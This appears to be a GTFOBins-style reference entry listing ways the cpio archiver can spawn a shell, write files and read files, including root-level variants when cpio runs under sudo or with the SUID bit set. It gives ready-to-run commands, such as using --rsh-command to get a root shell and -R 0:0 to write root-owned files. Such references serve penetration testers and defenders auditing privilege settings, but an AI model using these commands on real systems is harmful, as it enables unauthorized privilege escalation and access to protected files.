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• Shell
• File write
• File read

Shell

This executable can spawn an interactive system shell.

• Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo '/bin/sh </dev/tty >/dev/tty' >localhost
  cpio -o --rsh-command /bin/sh -F localhost:

File write

This executable can write data to local files.

• Comment

  The whole directory structure is copied to ., with the data written to ./path/to/temp-file.

  Unprivileged

  This function can be performed by any unprivileged user.

  echo DATA >/path/to/temp-file
  echo /path/to/temp-file | cpio -udp .

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo DATA >/path/to/temp-file
  echo /path/to/temp-file | cpio -R 0:0 -udp .

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  echo DATA >/path/to/temp-file
  echo /path/to/temp-file | cpio -R 0:0 -udp .

File read

This executable can read data from local files.

• Comment

  The content of the file is printed to standard output, between the cpio archive format header and footer.

  Unprivileged

  This function can be performed by any unprivileged user.

  echo /path/to/input-file | cpio -o

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo /path/to/input-file | cpio -o

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  echo /path/to/input-file | cpio -o

  Remarks

  The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

• Comment

  The whole directory structure is copied to ., hence this is also a file write.

  Unprivileged

  This function can be performed by any unprivileged user.

  echo /path/to/input-file | cpio -dp .
  cat path/to/input-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo /path/to/input-file | cpio -R $UID -dp .
  cat path/to/input-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  echo /path/to/input-file | cpio -R $UID -dp .
  cat path/to/input-file

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